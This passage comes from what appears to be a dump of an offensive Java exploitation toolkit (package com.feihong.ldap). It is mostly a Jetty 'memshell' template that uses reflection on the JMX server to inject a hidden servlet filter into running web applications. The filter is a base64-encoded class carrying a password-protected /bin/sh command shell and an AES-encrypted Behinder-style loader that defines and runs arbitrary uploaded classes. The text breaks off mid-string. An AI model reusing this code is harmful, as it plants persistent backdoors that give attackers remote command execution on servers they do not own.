}catch(ClassNotFoundException e){\n                    BASE64Decoder base64Decoder = new BASE64Decoder();\n                    String codeClass = \"yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=\";\n                    byte[] bytes = base64Decoder.decodeBuffer(codeClass);\n\n                    Method method = null;\n                    Class clz = cl.getClass();\n                    while(method == null && clz != Object.class ){\n                        try{\n                            method = clz.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n                        }catch(NoSuchMethodException ex){\n                            clz = clz.getSuperclass();\n                        }\n                    }\n                    method.setAccessible(true);\n                    clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);\n                }\n\n                FilterInfo filter = new FilterInfo(filterName, clazz, new ConstructorInstanceFactory<Filter>(clazz.getDeclaredConstructor()));\n                deploymentInfo.addFilter(filter);\n\n                f = context.getClass().getDeclaredField(\"deployment\");\n                f.setAccessible(true);\n                Field modifiersField = Field.class.getDeclaredField(\"modifiers\");\n                modifiersField.setAccessible(true);\n                modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);\n                DeploymentImpl deployment = (DeploymentImpl)f.get(context);\n                deployment.getFilters().addFilter(filter);\n\n                // 0 表示把我们动态注册的 filter 放在第一位\n                deploymentInfo.insertFilterUrlMapping(0, filterName, urlPattern, DispatcherType.REQUEST);\n            }\n        }catch(Exception e){\n            e.printStackTrace();\n        }\n    }\n\n    @Override\n    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {\n\n    }\n\n    @Override\n    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {\n\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/JettyMemshellTemplate.java",
    "content": "package com.feihong.ldap.template;\n\nimport com.sun.jmx.mbeanserver.JmxMBeanServer;\nimport com.sun.jmx.mbeanserver.NamedObject;\nimport com.sun.jmx.mbeanserver.Repository;\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\nimport sun.misc.BASE64Decoder;\nimport javax.management.ObjectName;\nimport javax.servlet.DispatcherType;\nimport javax.servlet.Filter;\nimport java.lang.management.ManagementFactory;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\nimport java.util.EnumSet;\nimport java.util.Set;\n\npublic class JettyMemshellTemplate extends AbstractTranslet {\n    public JettyMemshellTemplate(){\n        try{\n            String filterName = \"dynamicFilter\";\n            String urlPattern = \"/*\";\n\n            JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();\n\n            Field field = mBeanServer.getClass().getDeclaredField(\"mbsInterceptor\");\n            field.setAccessible(true);\n            Object obj = field.get(mBeanServer);\n\n            field = obj.getClass().getDeclaredField(\"repository\");\n            field.setAccessible(true);\n            Field modifier = field.getClass().getDeclaredField(\"modifiers\");\n            modifier.setAccessible(true);\n            modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);\n            Repository repository = (Repository)field.get(obj);\n\n            Set<NamedObject> namedObjectSet = repository.query(new ObjectName(\"org.eclipse.jetty.webapp:type=webappcontext,*\"), null);\n            for(NamedObject namedObject : namedObjectSet){\n                try{\n                    field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField(\"_managed\");\n                    field.setAccessible(true);\n                    modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);\n                    Object webAppContext = field.get(namedObject.getObject());\n\n                    field = webAppContext.getClass().getSuperclass().getDeclaredField(\"_servletHandler\");\n                    field.setAccessible(true);\n                    Object handler = field.get(webAppContext);\n\n                    field = handler.getClass().getDeclaredField(\"_filters\");\n                    field.setAccessible(true);\n                    Object[] objects = (Object[]) field.get(handler);\n\n                    boolean flag = false;\n                    for(Object o : objects){\n                        field = o.getClass().getSuperclass().getDeclaredField(\"_name\");\n                        field.setAccessible(true);\n                        String name = (String)field.get(o);\n                        if(name.equals(filterName)){\n                            flag = true;\n                            break;\n                        }\n                    }\n\n                    if(!flag){\n                        System.out.println(\"[+] Add Dynamic Filter\");\n\n                        ClassLoader classLoader = handler.getClass().getClassLoader();\n                        Class sourceClazz = null;\n                        Object holder = null;\n                        try{\n                            sourceClazz = classLoader.loadClass(\"org.eclipse.jetty.servlet.Source\");\n                            field = sourceClazz.getDeclaredField(\"JAVAX_API\");\n                            modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);\n                            Method method = handler.getClass().getMethod(\"newFilterHolder\", sourceClazz);\n                            holder = method.invoke(handler, field.get(null));\n                        }catch(ClassNotFoundException e){\n                            sourceClazz = classLoader.loadClass(\"org.eclipse.jetty.servlet.BaseHolder$Source\");\n                            Method method = handler.getClass().getMethod(\"newFilterHolder\", sourceClazz);\n                            holder = method.invoke(handler, Enum.valueOf(sourceClazz, \"JAVAX_API\"));\n                        }\n\n                        holder.getClass().getMethod(\"setName\", String.class).invoke(holder, filterName);\n\n                        ClassLoader cl = Thread.currentThread().getContextClassLoader();\n                        Class clazz;\n                        try{\n                            clazz = cl.loadClass(\"com.feihong.ldap.template.DynamicFilterTemplate\");\n                        }catch(ClassNotFoundException e){\n                            BASE64Decoder base64Decoder = new BASE64Decoder();\n                            String codeClass = \"yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUW